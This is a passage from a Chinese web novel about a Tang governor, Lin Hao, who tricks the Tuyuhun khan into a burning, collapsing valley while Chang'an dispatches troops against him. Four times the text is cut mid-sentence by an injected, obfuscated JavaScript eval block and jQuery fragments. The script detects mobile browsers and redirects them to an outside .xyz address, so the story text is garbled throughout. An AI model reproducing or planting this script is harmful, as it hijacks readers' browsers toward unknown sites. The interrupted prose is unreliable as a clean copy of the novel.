“可汗!”库查不敢置信地看着伏允,拼命挣扎,“您不信我?林浩真的在准备一场浩劫!他要让草原上再也长不出草,让我们的牛羊全部死光!”
“够了!”伏允一脚踢翻了身旁的火盆,火星四溅,“你现在需要的是休息!不是在这里胡言乱语!”
几名亲卫冲了上来,不顾库查的嘶吼,强行将他架了出去。
“可汗!您会后悔的!您会被那个魔鬼骗了!他比草原上最毒的蝎子还要阴险一万倍!”
库查绝望的吼声在帐外渐渐远去,伏允疲惫地坐倒在帅位上,揉着刺痛的太阳穴。这场仗,还没真正开打,他就已经输了一阵,连最锋利的刀都快被折断了。
帐外一个不起眼的角落,一名负责守卫的亲卫——阿骨打,悄然退入阴影中。他将刚才听到的一切,每一个字,都牢牢刻在脑子里。
瘟疫、霉菌、毒血……
作为长安秘谍,他在吐谷浑潜伏多年,从未听过如此诡异的情报。如果库查说的哪怕只有一半是真的,那这个林浩掌握的,就绝不仅仅是几件新式武器。
那是一种能从根上毁灭一个民族的力量!
他悄无声息地回到自己的帐篷,从靴底的夹层里摸出一张比蝉翼还薄的油纸,就着微弱的灯火,飞快地写下了一切。而后,他放飞了一只灰色的信鸽。
“去吧,把魔鬼的消息,带回长安。”
……
与此同时,凉州城,监察处阴冷的地牢里。
王老二涕泪横流,拼命地对着面前的**员磕头,额头都磕出了血。
“大人!爷爷!小的真的知道错了!小的是猪油蒙了心,一时糊涂啊!求您给小的一次将功补过的机会,小的愿意做牛做马!”
**员慢条斯理地擦拭着手里的**,连眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391618|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皮都懒得抬一下:“机会?你这种两面三刀的叛徒,也配谈机会?”
“配!小的配!”王老二急了,也顾不上脸面,一把抱住**员的大腿,“小的在吐谷浑那边还有门路!只要大人放我回去,我一定能当卧底,把他们的动向摸得一清二楚!”
**员和身边的同僚对视一眼,故意露出为难的神色。
“让你回去?谁知道你是不是又去告密?”
“小的立军令状!”王老二发了狠,“若有半句虚言,甘受千刀万剐!”
**员沉吟片刻,这才从桌案上拿起一份卷宗,仿佛是临时起意。
“倒也不是不行。都督正愁一件事,需要一个对吐谷浑内部熟悉,又能豁出命去的人。就怕你没这个胆子。”
王老二一听有戏,眼睛瞬间亮了,哪还管什么胆子。
“大人您说!别说豁出命,就是要小的的祖坟,小的都亲自去刨!”
**员凑近他,压低声音:“都督得到密报,伏允准备派一支精锐从西面山谷偷袭我们的后勤基地。但具体路线和兵力,我们一无所知。你的任务,就是带着‘诚意’逃回去,骗取他们的信任,然后把真实情报给老子传回来!”
王老二心里乐开了花。
这不就是苦肉计加无间道吗?自己的老本行啊!
只要演得真,带着“干货”回去,不仅能保住小命,还能在吐谷浑那边混个大功劳!到时候……两头通吃,岂不美哉!
“大人放心!保证完成任务!”
**员满意地点点头,从一个上了锁的铁盒里,取出两份用火漆封好的文件。
“这是我军最新的增援计划,还有凉州周边所有粮草库的分布图。东西够分量,能不能让他们信你,就看你自己的本事了。”
王老二哆哆嗦嗦地接过那两份沉甸甸的“机密”,激动得心脏都快跳出嗓子眼了。
发了!这下真的发了!这可是天大的投名状啊!
“记住了,”**员最后叮嘱道,“明天凌晨,北城门的换防会有一个漏洞,时间只有一炷香。给我演得像一点,最好是带点伤逃出去。”
“明白!小的明白!”王老二点头如捣蒜。
次日凌晨,王老二在“一番苦战”后,成功从北门“**”,怀揣着两份**和对未来的无限憧憬,一头扎进了茫茫雪原。
城墙之上,寒风凛冽。
马周搓着手,看着那个在雪地里越跑越远的小黑点,忧心忡忡:“都督,这饵……下得是不是太重了?万一他真的……”
林浩放下手中的望远镜,脸上没有丝毫波澜。
他转过头,对马周笑了笑,那笑容里带着一丝让马周不寒而栗的平静。
“马大人,放心。”
“不把饵料做真一点,怎么能钓到伏允那条贪婪的大鱼呢?”
他顿了顿,对着身后的传令兵下达了一个让马周浑身一震的命令。
“传令,让兵工厂把‘二踢脚’的库存全部推到东城墙上来。”
“我估计,我们尊贵的客人,很快就要亲自上门来‘验货’了。”
第51章:草原之王的最后赌注
王老二连滚带爬,几乎是扑进了吐谷浑大营的外围警戒圈。
还没等他喘口气,两把冰冷的弯刀就架在了他的脖子上。
“什么人!”
“别杀我!我是自己人!我有重要情报!”
王老二高举着双手,用尽全身力气喊道。
他被粗暴地拖拽着,很快就押送到了中军大帐。
一路上,他故意让自己显得狼狈不堪,身上的衣服在“逃跑”时被划破了好几道口子,脸上也抹着泥灰,看起来凄惨至极。
当他被推搡进帐篷,看到高坐上位的伏允时,立刻涕泪横流地跪了下去。
“可汗!小的总算见到您了!”
伏允皱着眉头,看着这个陌生的汉人商贩:“你是谁?”
“小的是城东粮行的王老二,之前一直为库查统领传递消息!”
王老二一边说,一边从怀里掏出一个用油纸紧紧包裹的东西,高高举过头顶,“小的九死一生,从唐军大牢里逃了出来,带回了他们的机密!”
一名亲卫上前接过文件,呈送给伏允。
伏允狐疑地展开油纸,里面是一份详细的地图和一张写满了汉字的纸条。
地图上,一条红线清晰地标注出了一条蜿蜒的路线,旁边赫然写着“凉州军粮草补给线”。
而那张纸条上,记录的竟是唐军后续增援部队的番号和预计抵达时间。
“这……”
伏允的心跳漏了一拍。
如果这情报是真的,那简直是雪中送炭!
只要掐断这条补给线,再伏击他们的增援,凉州城内的林浩就会变成一只被拔了牙的老虎!
“可汗,此事恐怕有诈!”
一名络腮胡子的将领站了出来,“唐人诡计多端,这会不会是林浩那个小子的又一个陷阱?”
另一名将领也附和道:“没错,我们刚吃了大亏,现在他们主动送上门一份如此重要的情报,实在太过蹊跷。”
大帐内的气氛瞬间变得凝重起来。
所有人的目光都聚焦在王老二身上,充满了审视和怀疑。
王老二见状,心里暗骂一声,但脸上却表现得更加悲愤。
他“砰砰砰”地用力磕头,额头很快就见了血。
“可汗明鉴啊!小人被抓之后,受尽了严刑拷打!”
他一把扯开自己的上衣,露出几道早已准备好的鞭痕,“他们日夜折磨我,想从我嘴里套出库查统领的下落。小的宁死不从,后来趁着两个看守换班喝酒,打晕了他们,才拼死从北门的狗洞里爬了出来!”
他描述的细节极为详尽,从牢房的位置,到看守的相貌,再到北门防守的松懈时间,竟然与伏允派出的探子观察到的情况完全吻合。
这一下,将领们的怀疑开始动摇了。
伏允的内心更是掀起了惊涛骇浪。
一方面是巨大的诱惑,另一方面是惨痛的教训。
他死死地盯着王老二,试图从对方的脸上看出一丝破绽。
就在这时,帐外一名亲卫匆匆来报。
“可汗,偏帐的库查统领派人传来口信。”
“说。”伏允不耐烦地挥了挥手。
“库查统领说……”
亲卫迟疑了一下,还是用嘶哑的声音模仿道:“唐人要用瘟疫,要用我们看不懂的妖术毁灭草原!不要相信任何诱饵!任何!”
“疯话!”
伏允的忍耐终于到了极限。
他猛地站起身,将库查的口信揉成一团,狠狠地砸在地上。
“库查已经疯了!被唐人的妖术吓破了胆!”
“什么瘟疫!什么妖术!都是失败者的借口!我们草原的勇士,只相信自己手中的弯刀和胯下的战马!”
他需要一场胜利,一场酣畅淋漓的胜利来驱散失败的阴霾,来稳固摇摇欲坠的军心,来向所有部落证明,他伏允依然是草原的雄鹰!
而王老二带来的这份情报,就是他翻盘的唯一希望!
伏允一把抓起那份地图,高高举起,对着众将领宣布:“本汗决定,采纳这份情报!”
他走到王老二面前,亲自将他扶起:“你忠心可嘉,从今日起,你便是本汗亲封的百夫长!待大破唐军之后,另有重赏!”
王老二被这突如其来的任命砸得晕晕乎乎,受宠若惊地连连叩谢:“谢可汗!谢可汗!小人愿为可汗赴汤蹈火!”
他心里却对那个远在凉州城墙上打哈欠的年轻都督佩服得五体投地。
这算计,简直神了!
连人性的弱点都算得如此精准!
伏允不是相信我王老二,他是急需一个相信的理由!
当天下午,吐谷浑大营的号角声再次响彻云霄。
伏允召集了所有还能一战
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391619|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的部落首领,将最后的八万骑兵主力全部集结起来。
黑压压的军队如同乌云一般笼罩着草原,肃杀之气直冲天际。
他指着地图上那个名为“一线天”的山谷,对所有将领下达了死命令。
“我们的目标,就是这里!伏击唐军的粮草部队!”
“此战,只许成功,不许失败!”
“我们要用唐军的鲜血,洗刷金狼卫的耻辱!我们要夺走他们的粮食和物资,安然度过这个冬天!然后,再一举踏平凉州城!”
“乌拉!”
八万骑兵发出震天的怒吼,浩浩荡荡地朝着“一线天”山谷的方向奔涌而去。
整个吐谷浑大营,倾巢而出。
……
与此同时,凉州城墙上。
林浩正举着他那特制的单筒望远镜,悠闲地观察着远方地平线上扬起的漫天烟尘。
马周站在一旁,手心里全是汗,紧张地看着那支庞大的队伍。
“都督,他们……他们真的全去了!”
林浩放下望远镜,打了个慵懒的哈欠,仿佛刚才看到的不是八万敌军,而是一群迁徙的羚羊。
他伸了个懒腰,对身旁的马周慢悠悠地说道:“通知工程队,‘渔网’已经撒下去了,准备收网。”
马周领命而去,脚步都透着一股兴奋。
而在距离“一线天”山谷数十里外的另一片开阔草场上,另一番景象正在上演。
山谷的另一端,李丽质正带着一支穿着白大褂的医疗队,在一个小小的牧民村庄里忙碌着。
她的脸上没有丝毫战争的紧张,反而充满了圣洁的光辉。
医疗队员们正耐心地给牧民们讲解着什么,然后用一种奇特的金属针管,给一头头牛犊注射着某种透明的液体。
村庄的木栅栏上,一张巨大的布告被风吹得猎猎作响,上面用汉字和吐谷浑文字清清楚楚地写着:
“特大喜讯!凉州科学院已成功攻克牛瘟之症!即日起,可为方圆百里内所有部落、村庄之牲畜,免费接种牛瘟疫苗!防治病害,佑我牛羊!”
一名老牧民激动地拉着李丽质的手,用生硬的汉话不停地感谢着:“神医!你们真是草原派来的神医啊!”
李丽质微笑着,看着那些注射完疫苗后,又活蹦乱跳起来的牛羊,心中充满了前所未有的成就感。
第52章:长孙无忌狂喜:林浩的死期到了
长安,太极殿。
一只灰鸽如箭矢般从铅灰色的天空中坠落,撞在秘报接收处的屋檐上,翻滚了两下才停住。
它的一只翅膀已经折断,浑身羽毛被风雪打得凌乱不堪。
值守的黄门侍郎心中一紧,立刻认出这是最高等级的“血羽急报”。
他小心翼翼地取下鸽腿上那个被蜡封得死死的细小竹筒,入手滚烫。
这不是蜡的温度,是信鸽的体温,这只鸟几乎是把自己活活飞死的!
黄门侍郎不敢有丝毫耽搁,捧着竹筒,一路小跑穿过空旷寂静的宫道。
他的心跳得比脚步还快。
这种级别的密报,要么是边关沦陷,要么是皇子谋逆!
“陛下,吐谷浑八百里加急!”
李世民正在批阅奏章,听到“吐谷浑”三字,眉毛微微一挑。
他随手接过竹筒,捏碎蜡封。
里面只有一张薄如蝉翼的纸条。
李世民的目光落在纸条上,只扫了一眼,他脸上的从容和威严便瞬间消失得无影无踪。
纸条上,是长安秘谍阿骨打用血写成的潦草字迹。
“紧急!林浩在凉州建立魔窟,非人道!正培养剧毒绿毛,收集鼠疫之血,更造出腐蚀血肉的毒水!”
“其心可诛!欲以瘟疫灭绝草原!此子已非人,乃行走于世间的瘟神!”
“恳请陛下速派天兵剿灭此獠,否则此等妖术若失控,必将祸及我大唐**江山!”
李世民的手剧烈地抖动起来。
“培养绿毛……”
“收集鼠疫……”
“腐蚀毒水……”
这些词语每一个都像一根烧红的铁钎,狠狠扎进他的脑子里!
他猛地想起了林浩之前献上的那些匪夷所思的东西,蒸汽机、手摇发电机、还有那能炸平山头的**!
一个能造出那些东西的人,再造出毁灭世界的瘟疫,似乎……也并非不可能!
恐惧,前所未有的恐惧,像一只冰冷的手,死死攥住了这位马上皇帝的心脏。
“哐当!”
他手中的鎏金茶杯被生生捏得变了形,滚烫的茶水泼了他一手,他却毫无知觉,任由那变形的杯子砸在金砖地面上,发出一声刺耳的巨响。
“来人!”
李世民发出一声不似人声的咆哮,声音嘶哑而尖利。
殿外的侍卫和宦官被这声怒吼吓得魂飞魄散,连滚带爬地冲了进来。
“召长孙无忌、房玄龄、杜如晦!立刻!马上!滚着进宫见朕!”
“告诉他们,天要塌了!”
不到半个时辰,三位宰相便神色慌张地赶到了太极殿。
他们从未见过李世民如此失态。
这位泰山崩于前而色不变的帝王,此刻正像一头困在笼中的猛兽,双眼布满血丝,在殿内疯狂地来回踱步。
“自己看!”
李世民将那张带血的纸条狠狠摔在御案上。
长孙无忌离得最近,他第一个拿起纸条。
只看了两行,他的脸色就刷地一下变得惨白,但在这惨白之下,一抹狂喜之色一闪而逝。
机会!天大的机会来了!
房玄龄和杜如晦也凑了过来,看完之后,两人如遭雷击,呆立当场。
“这……这绝无可能!”
房玄龄的声音都在发颤,“林浩他……他再怎么胆大包天,也不至于行此灭绝之事啊!”
“陛下!”
长孙无忌突然“扑通”一声跪倒在地,声泪俱下,用额头奋力撞击着冰冷的地面。
“臣有罪啊!臣当初就看出此子心术不正,身怀妖术,多次劝谏陛下,可陛下不听啊!”
他一边哭嚎,一边捶打着自己的胸口。
“这已经不是打仗了!这是要灭世啊!陛下!一旦让他的瘟疫妖术成了气候,别说草原,就是我大唐,也要变成白骨累累的人间炼狱!”
“臣恳请陛下,立刻发兵!将此等恶魔**万段,以绝后患!”
房玄龄还想争辩。
“陛下,此事太过诡异,仅凭一张纸条,恐有蹊跷……”
“房相公!”
长孙无忌猛地回头,双目赤红地打断他,“到了这个时候,你还要为那恶魔辩解吗?万一!我是说万一这上面说的是真的呢?你我担得起这个责任吗?整个大唐担得起吗?!”
这句话,像一柄重锤,狠狠砸在了李世民的心上。
是啊,万一是真的呢?
他宁愿错杀一个功臣,也绝不能让整个天下冒一丝一毫的风险!
那些匪夷所思的工坊,那些远超时代的知识……都是悬在他头顶的利剑!
他一直以为自己握着剑柄,可现在看来,那剑柄随时可能脱手,反过来刺穿自己的喉咙!
“无忌。”
李世民停下脚步,声音冷得像腊月的寒冰,“你说,该怎么办?”
长孙无忌心中大定,他知道,自己赢了。
“陛下!臣以为,应立刻派遣玄甲军!以雷霆之势,奔赴凉州!”
他抬起头,眼中闪动着残忍的光芒。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391620|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“此事,不需审!不需问!当场格杀!”
“格杀?”房玄龄大惊失色。
“对!格杀勿论!”
长孙无忌的声音陡然拔高,“林浩此獠,连同他手下所有核心工匠,一个不留!他建造的所有工坊,一把火烧个干干净净!他写下的所有图纸,全部销毁!”
“绝不能让这等妖术,留存于世半点痕迹!”
房玄龄和杜如晦对视一眼,都在对方眼中看到了深深的无力。
皇帝已经被恐惧支配,长孙无忌又在疯狂拱火,完了,一切都完了。
“传朕旨意!”
李世民终于下定了决心,每一个字都像是从牙缝里挤出来的。
“命大将军侯君集为主帅,长孙无忌为监军,即刻统帅三万玄甲军,奔赴凉州!”
“陛下圣明!”长孙无忌激动得浑身发抖。
李世民没有理他,继续用冰冷的声音下令。
“谕令:即刻查封凉州所有工坊!收押林浩及所有党羽!但凡有敢抵抗者……”
他顿了顿,一字一句地说道。
“格!杀!勿!论!”
当天下午,长安城外,玄甲军大营。
三万铁甲汇聚成一片钢铁的海洋,冰冷的铁盔下,是一张张杀气腾腾的脸。
大将军侯君集骑在马上,拔出横刀,直指西南方向。
“将士们!此去凉州,不是平叛,是降魔!”
他的声音如同炸雷。
“**林浩,在凉州制造瘟疫,妄图荼毒天下!尔等的任务,就是踏平凉州,将那魔头,斩成肉泥!”
“杀!杀!杀!”
三万人的怒吼汇成一股洪流,仿佛要将天空都撕裂。
不远处的华丽马车里,长孙无忌掀开车帘,看着这支无敌的大军,脸上露出了心满意足的笑容。
林浩,你所有的奇迹,你所有的财富,马上就都是我的了!
而在大军之中,一个名叫张三的百夫长,默默地跟在队伍里。
他伸手摸了摸腰间佩刀的刀柄。
上面,有一个他昨晚连夜刻下的,小小的“林”字。
三年前,他娘重病垂死,是那个自称姓林的游方郎中,用几根银针和几贴草药,硬生生把人从鬼门关拉了回来,分文未取。
后来他才得知,那个游方郎中居然是新上任的凉州刺史。
张三握紧了刀柄。
大将军说要去降魔。
可他只知道,郎中是救人的,不是害人的。
谁是魔,还不一定呢。
第53章:八万大军入瓮,草原之王爬狗洞
一线天山谷,午时。
毒辣的日头悬在狭窄天空的正中央,把两侧的峭壁烤得能煎熟肉。
伏允勒住缰绳,胯下的宝马不安地刨着蹄子,喷出滚烫的响鼻。
他烦躁地抹了一把额头的汗,眯着眼,死死盯着前方地平线上那个狂奔而来的黑点。
近了,更近了。
“可汗!”
探子像一颗被弹射出的石子,飞驰到马前,翻身滚鞍,单膝跪地。
他因为极度的兴奋,声音都变了调。
“找到了!唐军的粮队就在前面三里地!”
“车辙印是新的,一刻钟前刚压出来的!小的还闻到了他们煮饭的麦香味!”
这几句话,如同一股清泉,瞬间浇灭了伏允心中所有的燥热。
他胸口一热,一把夺过亲卫递来的单筒望远镜。
镜头剧烈晃动,最终定格在山谷的转角处。
几个白色的帐篷,懒洋洋地立在那里。
旁边,几辆辎重车的轮廓清晰可见。
就是它!
和王老二那个叛徒带回来的情报,分毫不差!
伏允感觉自己全身的血液都开始加速奔流。
连日来的憋屈、愤怒、耻辱,在这一刻,似乎都找到了宣泄的出口。
“传令!”
他猛地抽出腰间的黄金弯刀,刀尖映着日光,直指前方。
“全军提速!给本汗咬住他们!”
“这批粮草,就是我们吐谷浑过冬的命!”
“乌拉——!”
压抑了数日的怒吼,如同火山喷发,从八万骑兵的胸腔中迸发出来。
黑色的铁流瞬间被注入了灵魂,咆哮着,翻滚着,一头扎进了山谷深处。
马蹄声如雷,卷起的烟尘遮蔽了天空,整个山谷都在这股毁灭性的力量下剧烈颤抖。
伏允一马当先,风声在耳边呼啸,他的心在沸腾。
库查的疯话,金狼卫的覆灭,图鲁的背叛……
所有的耻辱,都将在今天被洗刷!
只要吃掉这支粮队,他就能稳住军心,重振旗鼓!
林浩,你等着!本汗会让你知道,草原的雄鹰,永远不会被几只虫子的把戏吓倒!
大军不断深入。
“一线天”名副其实,两侧的山壁像是被天神用巨斧劈开,越往里走越窄。
队伍被迫从宽阔的扇面,被挤压成一条细长的黑线,蠕动着前进。
空气变得压抑起来。
“可汗!”
走在最前面的亲卫队长策马折返,他久经沙场的脸上,带着一丝困惑。
“前面……**静了。”
伏允的眉头拧成一团。
“什么意思?”
“按理说,这么大的粮队,就算被我们追上,也该有点动静。马叫声,人喊声……可前面除了风声,什么都听不见。”
亲卫队长压低了声音。
“那些帐篷,也跟**一样,连个放哨的都看不见。”
一丝针尖般细微的不安,悄悄刺了伏允一下。
他再次举起望远镜。
镜头里,那些白色帐篷依旧孤零零地立在那里。
在晃动的视野中,的确透着一股说不出的诡异和死寂。
但,那又如何?
巨大的诱惑已经压倒了一切。
他已经没有退路了!
他需要这场胜利,就像溺水的人需要抓住最后一根稻草!
“怕什么!”
伏允冷哼一声,将那丝不安强行踩在脚下。
“定是唐军被我八万大军吓破了胆,连辎重都不要了,只顾着逃命!”
“继续前进!全速前进!不要给他们任何喘息的机会!”
命令下达,最后的犹豫被彻底粉碎。
黑色的长蛇加快了蠕动的速度,贪婪地吞噬着通往“猎物”的最后路程。
当伏允率领的中军抵达山谷最深处,也正是最狭窄的地段时,他下意识地回头看了一眼。
八万大军的尾部,刚好完全进入了谷口。
整支军队,像被精确计算过一样,严丝合缝地被装进了这个天然的“石匣子”里。
也就在这一刻。
“轰——隆——!”
一声无法用语言形容的巨响,不是从某个方向传来,而是从头顶、从脚下、从四面八方同时炸开!
那声音沉闷到了极致,仿佛大地的心脏被狠狠捶了一拳。
伏允胯下的战马发出一声凄厉的悲鸣,人立而起,将他重重摔在地上。
他顾不上疼痛,猛地抬头。
眼前的景象,让他血液倒流,手脚冰凉。
山谷两侧的峭壁之上,成百上千吨的巨石和泥土,被一股无可匹敌的力量掀起,如同两道黄色的瀑布,轰然塌方!
入口!
出口!
两个方向,几乎在同一时间,被滚落的巨石彻底封死!
天,塌了。
“是陷阱!”
一名部落首领刚刚吼出声,一块磨盘大的巨石便从天而降。
“噗嗤”一声。
连人带马,瞬间成了一滩模糊的血肉。
惨叫声、战马的惊嘶声、巨石的撞击声、骨骼的碎裂声……
所有声音混杂在一起,八万精锐骑兵,顷刻间乱成了一锅沸腾的粥。
骑兵们像没头的苍蝇一样来回冲撞,却发现前后皆是绝路。
“不可能……这不可能!”
伏允的脑中一片空白,他疯狂地嘶吼着。
“他们怎么可能在这么短的时间内埋下这么多**?!他们是怎么做到的?!”
他的质问还未消散,更让他头皮发麻的一幕发生了。
两侧山崖的半腰处,数十块与岩壁颜色几乎融为一体的巨大伪装挡板,伴随着令人牙酸的机括转动声,缓缓升起。
挡板之后,露出的不是密密麻麻的弓箭手。
而是一座座黑洞洞的钢铁怪物。
每一座都有半间屋子那么大,三根成年人胳膊粗的钢铁**臂,狰狞地指向天空,通体散发着冰冷的、不属于这个时代的光泽。
一个轻松、甚至带着几分戏谑的男人声音,通过某种他无法理解的装置,清晰地传遍了山谷的每一个角落,盖过了所有的惨叫和混乱。
“伏允可汗,下午好。”
“欢迎参加由凉州重工为您独家冠名举办的新品发布会。”
是林浩!
是那个魔鬼的声音!
伏允只觉得一股血气直冲头顶,他指着山崖上方,用尽全身力气咆哮。
“林浩!你这个懦夫!你这个卑鄙小人!”
“有本事出来与本汗堂堂正正地打一仗!躲在暗处算什么英雄!”
“英雄?”
山谷中回荡起林浩的轻笑,那笑声里充满了不加掩饰的嘲弄。
“可汗,你误会了。”
“我从来不当英雄,我只做最高效的项目经理。”
“好了,闲话少说,发布会正式开始。”
“首先为您展示的,是我们的明星产品——‘天降正义’陶罐。”
话音落下的瞬间,数十座三联装巨型**炮发出沉重的“嘭!嘭!嘭!”的闷响。
射出的不是**箭。
而是数百个黑色的陶罐。
陶罐在空中划出密集的抛物线,在吐谷浑军阵上方最拥挤处,精准地凌空炸开。
“哗啦——”
里面装满的黑色粘稠液体,如下了一场又黏又臭的黑雨,劈头盖脸地浇了下来。
“什么鬼东西!”
“好臭!是油!是黑油!”
士兵们惊恐地尖叫,但在拥挤得连转身都困难的队列中,根本无处可躲。
伏允的黄金战袍上也被溅满了这种黑色的液体,一股极其刺鼻的、他从未闻过的味道钻进鼻腔,让他几欲作呕。
“下面,是第二项议程,气氛组登场。”
林浩的声音再次响起,带着一丝恶作剧般的愉悦。
“友情提示,前排的观众朋友可能会感到有些热。”
这一次,**炮射出的是前端绑着火绒的火箭!
当第一支火箭拖着赤红的尾焰,像一颗流星,射入被黑色液体浸透的人群时——
“轰!”
一团巨大的火球,猛然炸开!
那个被射中的士兵,连惨叫都没来得及发出,整个人瞬间变成了一个燃烧的火炬!
紧接着,是第二团、第三团、第十团、第一百团……
火焰仿佛拥有了生命,顺着那些粘稠的液体疯狂蔓延、跳跃、吞噬!
“啊——!”
“救我!火!救我啊!”
撕心裂肺的惨叫取代了之前的混乱。
整个山谷,顷刻间化为一片翻腾的火海。
无数士兵和战马变成了移动的火源,在狭窄的空间里疯狂冲撞,又点燃了更多的同伴。
空气中弥漫着皮革、毛发和**被烧焦的混合恶臭,令人闻之欲呕。
……
与此同时,在距离“一线天”山谷数十里外的另一片开阔草场上。
温暖的阳光洒在青黄色的草地上,气氛祥和而宁静。
李丽质正带着一支穿着蓝色短褂的医疗队,在一个小小的牧民村庄里忙碌着。
她的脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391621|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上没有丝毫战争的紧张,反而充满了圣洁的光辉。
“大娘,别怕,就是用针扎一下,一点都不疼。”
一名医疗队员正耐心地安抚着一位抱着牛犊、满脸忧虑的牧民妇女。
“扎一下,你们的牛犊以后就不会得牛瘟了,能健健康康长大。”
妇女半信半疑,但看到旁边那些已经注射过疫苗,又活蹦乱跳起来的小牛,最终还是点了点头。
村庄的木栅栏上,一张巨大的布告被风吹得猎猎作响。
上面用汉字和吐谷浑文字清清楚楚地写着:
“特大喜讯!凉州科学院已成功攻克牛瘟之症!即日起,可为方圆百里内所有部落、村庄之牲畜,免费接种牛瘟疫苗!防治病害,佑我牛羊!”
一名白发苍苍的老牧民,端着一碗热气腾腾的羊奶,激动地送到李丽质面前,用生硬的汉话不停地重复着。
“神医!你们真是草原派来的神医啊!”
李丽质微笑着接过羊奶,看着那些排着长队、脸上充满希望的牧民,心中充满了前所未有的成就感。
……
地狱。
一线天山谷,已经彻底变成了人间地狱。
“往上爬!快往山坡上爬!”
幸存的骑兵们绝望地抛弃战马,手脚并用地向两侧陡峭的山坡攀爬,试图逃离脚下那片不断蔓延的烈焰地狱。
可当他们好不容易爬到半山腰,脚下突然一空。
那些早已被枯草和浮土伪装好的石灰坑,露出了狰狞的面目。
掉下去的人在一阵阵刺鼻的白烟和凄厉到不似人声的惨嚎中,被活活腐蚀成一堆冒着泡的白骨。
更多的人则是被隐藏在草丛中的绊索绊倒,尖叫着从山坡上滚落,重新掉回那片火海。
伏允被几名忠心耿耿的亲卫死死护在一块巨石之后。
他眼睁睁地看着自己的八万大军,他最后的本钱,在这场精心策划的“发布会”上,被当成耗材一样烧毁、腐蚀、毁灭。
他的心,不,是他的整个灵魂,都冻住了。
“可汗!快走!”
亲卫队长满脸黑灰,眼中布满血丝,一把抓住他的胳膊,指着巨石后一个被藤蔓掩盖的洞口。
“西边!西边有个狗洞!我们几个探路时发现的!再不走就全完了!”
那是一个小得只能容纳一人爬行的山洞。
几名亲卫不要命地用身体撞开挡路的碎石,率先钻了进去,确认没有危险后,才将已经失魂落魄的伏允硬生生拖了进去。
洞里又黑又湿,尖锐的岩石刮擦着伏允华贵的铠甲,发出刺耳的声音。
膝盖和手掌很快就磨破了,传来火辣辣的疼痛。
身后的惨叫声渐渐远去,但那种混合着绝望与痛苦的声音,却像烙印一样,深深刻进了他的脑海里。
不知过了多久,当一缕光亮出现在前方,他几乎是手脚并用地爬出了洞口。
回头望去,一线天山谷的方向,浓烟滚滚,遮天蔽日,火光将天空都映成了不祥的暗红色。
“库查……他说的是真的……”
伏允瘫坐在地上,大口大口地喘着气,嘴里无意识地喃喃自语。
“他不是疯子……林浩……他就是个魔鬼……一个从地狱里爬出来的魔鬼……”
就在他神智恍惚之际,另一种截然不同的声音,顺着风飘了过来。
是……是欢笑声?
伏允艰难地抬起头,机械地转向声音传来的方向。
不远处的一片开阔草场上。
一群穿着统一蓝色短褂的人,正在给另一群人分发着什么。
而那些排着长队、满脸喜悦的人,正是他吐谷浑的牧民!
老人、妇女、抱着孩子的母亲……
“来来来,大娘,粥还烫,慢点喝!”
“别挤别挤,都有份!棉衣在后面,排队领!”
“小家伙,给你糖吃!甜不甜?”
那个站在木箱上,用流利的吐谷浑语大声吆喝的大胡子,正是图鲁!
那个该死的叛徒!
他正满脸笑容地对着自己的子民们喊着。
“乡亲们!林都督说了!只要愿意来凉州定居,都分房子分地!孩子还能免费念书!”
“以后咱们都是一家人,再也不用挨饿受冻了!”
伏允看着这一幕,听着那些欢声笑语。
他看看身后那片火光冲天的地狱,又看看眼前这片其乐融融的人间。
“噗——”
一口鲜血,猛地从他口中喷出。
他的世界,彻底崩塌了。
第54章:三万玄甲军到了!
林浩踩着还没完全冷却的灰烬,慢悠悠地走过这片刚刚化身地狱的战场。
空气中弥漫着令人作呕的焦糊味,夹杂着烧焦皮革和血腥的恶臭。
马周跟在身后,手里紧紧捂着一块丝绸,不断地干呕着。
他见过不少战场,但从未见过如此惨烈的景象。
满地的焦炭和白骨,连分辨出人形都困难。
“都督,这......这也太......”马周的话说到一半就咽了回去。
“太什么?”林浩蹲下身,用一根铁棍翻动着一堆残骸,“太残忍?”
